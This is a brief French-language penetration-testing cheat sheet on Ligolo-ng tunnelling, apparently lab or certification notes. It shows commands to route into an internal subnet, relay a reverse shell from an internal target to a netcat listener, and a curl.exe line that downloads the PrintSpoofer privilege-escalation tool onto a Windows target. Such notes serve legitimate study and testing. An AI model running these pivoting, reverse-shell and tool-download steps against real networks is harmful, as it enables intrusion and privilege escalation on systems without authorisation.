Ligolo-ng — routes & listeners (reverse shell via tunnel)

Router un subnet interne

interface_create --name ligolo
start
route_add --name ligolo --route 10.10.x.0/24

Recevoir un reverse shell depuis une cible interne

listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999

La cible interne envoie son shell vers <IP_interne_agent>:9999 → relayé jusqu’au nc de Kali (127.0.0.1:9999).

Servir des fichiers aux cibles internes

Héberger un serveur HTTP SUR la machine pivot (agent) : les cibles internes téléchargent via l’IP interne du pivot. Ex : curl.exe http://10.10.x.147:9999/PrintSpoofer64.exe -o C:\Users\Public\ps.exe